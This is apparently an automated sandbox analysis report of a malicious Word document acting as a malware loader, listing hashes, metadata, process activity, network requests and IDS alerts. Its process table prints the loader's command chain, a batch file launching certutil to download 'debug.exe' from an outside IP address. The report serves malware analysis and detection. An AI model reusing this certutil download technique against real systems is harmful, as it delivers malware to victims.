File name: | 截图1.docx |
Full analysis: | https://app.any.run/tasks/b04202c2-7d09-405a-82b4-082ac744f16f |
Verdict: | Malicious activity |
Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
Analysis date: | May 24, 2019, 16:01:09 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
File info: | Microsoft Word 2007+ |
MD5: | BC226657CF8768585FFFBE057510D082 |
SHA1: | 0C582DF2120F4DC94EEE72573B9A3D3C9EF87D1F |
SHA256: | 489310F5F63045A83251C4F457D2BAA4B0C57E5EE7B3D147EE63913352A2C7F1 |
SSDEEP: | 384:aWUB/2pqrEmsL3tj8v55nvIYuveW83CrIQ8EmmzDV:aXEDL9jinwYuL83Crx8vUV |
.docx | | | Word Microsoft Office Open XML Format document (52.2) |
---|---|---|
.zip | | | Open Packaging Conventions container (38.8) |
.zip | | | ZIP compressed archive (8.8) |
ZipRequiredVersion: | 20 |
---|---|
ZipBitFlag: | 0x0006 |
ZipCompression: | Deflated |
ZipModifyDate: | 1980:01:01 00:00:00 |
ZipCRC: | 0x24886c04 |
ZipCompressedSize: | 373 |
ZipUncompressedSize: | 1460 |
ZipFileName: | [Content_Types].xml |
Title: | - |
---|---|
Subject: | - |
Creator: | Dell_20170514745 |
Description: | - |
Keywords: | - |
---|---|
LastModifiedBy: | Dell_20170514745 |
RevisionNumber: | 2 |
CreateDate: | 2019:05:19 05:16:00Z |
ModifyDate: | 2019:05:19 05:17:00Z |
Template: | Normal.dotm |
TotalEditTime: | 1 minute |
Pages: | 1 |
Words: | 14 |
Characters: | 80 |
Application: | Microsoft Office Word |
DocSecurity: | None |
Lines: | 1 |
Paragraphs: | 1 |
ScaleCrop: | No |
Company: | - |
LinksUpToDate: | No |
CharactersWithSpaces: | 93 |
SharedDoc: | No |
HyperlinksChanged: | No |
AppVersion: | 16 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2912 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\截图1.docx" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3444 | cmd /c ""C:\Users\admin\AppData\Local\Temp\info.bat" " | C:\Windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 2149122452 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3344 | certutil -urlcache -split -f http://137.59.18.154/debug.exe | C:\Windows\system32\certutil.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 2149122452 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2912 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE40.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2912 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8F49E487.emf | emf | |
MD5:144D85808AF23322C03F65D0B3D52B80 | SHA256:23F45083F326DF7E2E1F8D61FBE1C2B1920D85C30452DD9D5E22B4400637FB06 | |||
2912 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:5AB8FDB550CEF33A41135907EDACEA21 | SHA256:B313EC3B7731E49E8197F3027D1E9BB7650F7DE250BEC72E876D9FBE7B5D72C8 | |||
2912 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$截图1.docx | pgc | |
MD5:DAADBEF45F7C00E1A2C6D7A518C4F706 | SHA256:0EA0486C818882FF4A0C7FA2D55A40C464D5A1E30C1279253DE12E4723F38A9D | |||
2912 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\info.bat | text | |
MD5:CFAE91D51BA48F1AEC65D264D44AFADD | SHA256:1AC0E1EE22ACE54276054EA8333CCB34BBD5FC7E6E4ABA650AA4935A26870BDD | |||
3344 | certutil.exe | C:\Users\admin\AppData\Local\Temp\debug.exe | html | |
MD5:BF008299D141F2A37CA90ECB01A3A3FC | SHA256:F975DD912BBE0E390E4C9376088BA16BCF13C75FF65813523207FE576E6E437D |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3344 | certutil.exe | GET | 404 | 137.59.18.154:80 | http://137.59.18.154/debug.exe | HK | html | 286 b | suspicious |
3344 | certutil.exe | GET | 404 | 137.59.18.154:80 | http://137.59.18.154/debug.exe | HK | html | 286 b | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3344 | certutil.exe | 137.59.18.154:80 | — | Xima Network | HK | suspicious |
PID | Process | Class | Message |
---|---|---|---|
3344 | certutil.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
3344 | certutil.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
3344 | certutil.exe | Misc activity | SUSPICIOUS [PTsecurity] Observed MS Certutil User-Agent in HTTP Request |